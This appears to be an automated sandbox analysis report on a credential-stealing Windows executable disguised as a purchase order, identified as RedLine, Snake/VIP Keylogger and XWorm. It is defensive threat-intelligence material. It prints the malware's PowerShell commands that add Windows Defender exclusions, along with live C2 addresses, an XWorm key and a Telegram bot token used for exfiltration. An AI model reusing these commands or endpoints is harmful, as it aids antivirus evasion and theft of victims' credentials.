Edit tour

Windows Analysis Report
BQ_PO#385995.exe

Overview

General Information

Sample name:	BQ_PO#385995.exe
Analysis ID:	1569121
MD5:	7e3e88fad78dff83ea421084315bfd78
SHA1:	2e185874ff61f0097b34ae66cdc09bbbf1951f62
SHA256:	26c434592adaffa102b1cc61983fd9355dfa4fe0e06ad3acb50732892f67d466
Tags:	exeuser-TeamDreier
Infos:

Detection

RedLine, Snake Keylogger, VIP Keylogger, XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected BrowserPasswordDump

Yara detected RedLine Stealer

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected UAC Bypass using CMSTP

Yara detected VIP Keylogger

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Powershell Defender Exclusion

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

BQ_PO#385995.exe (PID: 2244 cmdline: "C:\Users\user\Desktop\BQ_PO#385995.exe" MD5: 7E3E88FAD78DFF83EA421084315BFD78)

conhost.exe (PID: 3328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 6524 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

powershell.exe (PID: 4876 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4976 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msbuild.exe' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ubygsn.exe (PID: 3700 cmdline: "C:\Users\user\AppData\Local\Temp\ubygsn.exe" MD5: 4C8C1CEB91408AD5A5011B56B325419E)

MSBuild.exe (PID: 2760 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 5716 cmdline: C:\Windows\system32\WerFault.exe -u -p 2244 -s 1048 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-usering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["69.174.100.131"], "Port": 7000, "Aes key": "<12345678190>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V3.1"}

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7721085569:AAH1tkciy-nKykIEUNjOAUsItTcvNCVmFLo/sendMessage"}

Threatname: VIP Keylogger

{"Exfil Mode": "Telegram", "Bot Token": "7721085569:AAH1tkciy-nKykIEUNjOAUsItTcvNCVmFLo", "Chat id": "6236275763", "Version": "4.4"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7721085569:AAH1tkciy-nKykIEUNjOAUsItTcvNCVmFLo", "Chat_id": "6236275763", "Version": "4.4"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\ubygsn.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\ubygsn.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\ubygsn.exe	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
C:\Users\user\AppData\Local\Temp\ubygsn.exe	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
C:\Users\user\AppData\Local\Temp\ubygsn.exe	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e0e9:$a1: get_encryptedPassword 0x2e406:$a2: get_encryptedUsername 0x2def9:$a3: get_timePasswordChanged 0x2e002:$a4: get_passwordField 0x2e0ff:$a5: set_encryptedPassword 0x2f760:$a7: get_logins 0x2f6c3:$a10: KeyLoggerEventArgs 0x2f328:$a11: KeyLoggerEventArgsEventHandler
C:\Users\user\AppData\Local\Temp\ubygsn.exe	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3be97:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3b53a:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b797:$a4: \Orbitum\User Data\Default\Login Data 0x3c176:$a5: \Kometa\User Data\Default\Login Data
C:\Users\user\AppData\Local\Temp\ubygsn.exe	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ecfb:$s1: UnHook 0x2ed02:$s2: SetHook 0x2ed0a:$s3: CallNextHook 0x2ed17:$s4: _hook
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.4586871157.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000003.00000002.4586871157.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6344:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x63e1:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x64f6:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x61b4:$cnc4: POST / HTTP/1.1
0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dee9:$a1: get_encryptedPassword 0x2e206:$a2: get_encryptedUsername 0x2dcf9:$a3: get_timePasswordChanged 0x2de02:$a4: get_passwordField 0x2deff:$a5: set_encryptedPassword 0x2f560:$a7: get_logins 0x2f4c3:$a10: KeyLoggerEventArgs 0x2f128:$a11: KeyLoggerEventArgsEventHandler
00000003.00000002.4616809591.0000000007240000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.4616809591.0000000007240000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
00000003.00000002.4616809591.0000000007240000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x77912:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000003.00000002.4616809591.0000000007240000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x7883a:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x788ac:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x78936:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x789c8:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x78a32:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x78aa4:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x78b3a:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x78bca:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
00000000.00000002.2258559792.000002760A47C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.2258559792.000002760A47C000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1e18c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x25bcc:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1e229:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x25c69:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1e33e:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x25d7e:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1dffc:$cnc4: POST / HTTP/1.1 0x25a3c:$cnc4: POST / HTTP/1.1
0000000E.00000002.4593828211.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000003.00000002.4606149598.000000000441A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.4606149598.000000000441A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
00000003.00000002.4606149598.000000000441A000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x2138ba:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000000.00000002.2258559792.000002760A756000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000003.00000002.4593226321.00000000033C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0000000E.00000002.4593828211.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000E.00000002.4593828211.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000B.00000002.2281406478.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000008.00000002.2241224175.0000000004876000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: BQ_PO#385995.exe PID: 2244	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: BQ_PO#385995.exe PID: 2244	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: BQ_PO#385995.exe PID: 2244	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: MSBuild.exe PID: 6524	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: MSBuild.exe PID: 6524	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6524	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
Process Memory Space: MSBuild.exe PID: 6524	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6524	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16662:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x7c9c4:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: powershell.exe PID: 4876	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 4976	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: ubygsn.exe PID: 3700	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ubygsn.exe PID: 3700	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: ubygsn.exe PID: 3700	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: ubygsn.exe PID: 3700	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3a9f:$a1: get_encryptedPassword 0x3db2:$a2: get_encryptedUsername 0x38b9:$a3: get_timePasswordChanged 0x39c2:$a4: get_passwordField 0x3ab5:$a5: set_encryptedPassword 0x5f63:$a7: get_logins 0x5ec6:$a10: KeyLoggerEventArgs 0x5b2f:$a11: KeyLoggerEventArgsEventHandler
Click to see the 31 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.BQ_PO#385995.exe.2760a49b688.2.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.BQ_PO#385995.exe.2760a49b688.2.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4744:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x47e1:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x48f6:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x45b4:$cnc4: POST / HTTP/1.1
0.2.BQ_PO#385995.exe.2760a493c48.3.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.BQ_PO#385995.exe.2760a493c48.3.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4744:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x47e1:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x48f6:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x45b4:$cnc4: POST / HTTP/1.1
3.2.MSBuild.exe.400000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
3.2.MSBuild.exe.400000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6544:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x65e1:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x66f6:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x63b4:$cnc4: POST / HTTP/1.1
0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6544:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x65e1:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x66f6:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x63b4:$cnc4: POST / HTTP/1.1
0.2.BQ_PO#385995.exe.2760a493c48.3.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.BQ_PO#385995.exe.2760a493c48.3.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6544:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xdf84:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x65e1:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xe021:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x66f6:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xe136:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x63b4:$cnc4: POST / HTTP/1.1 0xddf4:$cnc4: POST / HTTP/1.1
3.2.MSBuild.exe.7240000.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.MSBuild.exe.7240000.2.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
3.2.MSBuild.exe.7240000.2.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x75b12:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
3.2.MSBuild.exe.7240000.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x76a3a:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x76aac:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x76b36:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x76bc8:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x76c32:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x76ca4:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x76d3a:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x76dca:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
3.2.MSBuild.exe.45b5fa8.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.MSBuild.exe.45b5fa8.1.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
3.2.MSBuild.exe.45b5fa8.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x77912:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
3.2.MSBuild.exe.45b5fa8.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x7883a:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x788ac:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x78936:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x789c8:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x78a32:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x78aa4:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x78b3a:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x78bca:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
3.2.MSBuild.exe.45b5fa8.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.MSBuild.exe.45b5fa8.1.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
3.2.MSBuild.exe.45b5fa8.1.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x75b12:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
3.2.MSBuild.exe.45b5fa8.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x76a3a:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x76aac:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x76b36:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x76bc8:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x76c32:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x76ca4:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x76d3a:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x76dca:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
3.2.MSBuild.exe.7240000.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.MSBuild.exe.7240000.2.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
3.2.MSBuild.exe.7240000.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x77912:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
3.2.MSBuild.exe.7240000.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x7883a:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x788ac:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x78936:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x789c8:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x78a32:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x78aa4:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x78b3a:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x78bca:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
14.0.ubygsn.exe.980000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.0.ubygsn.exe.980000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
14.0.ubygsn.exe.980000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
14.0.ubygsn.exe.980000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
14.0.ubygsn.exe.980000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e0e9:$a1: get_encryptedPassword 0x2e406:$a2: get_encryptedUsername 0x2def9:$a3: get_timePasswordChanged 0x2e002:$a4: get_passwordField 0x2e0ff:$a5: set_encryptedPassword 0x2f760:$a7: get_logins 0x2f6c3:$a10: KeyLoggerEventArgs 0x2f328:$a11: KeyLoggerEventArgsEventHandler
14.0.ubygsn.exe.980000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3be97:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3b53a:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b797:$a4: \Orbitum\User Data\Default\Login Data 0x3c176:$a5: \Kometa\User Data\Default\Login Data
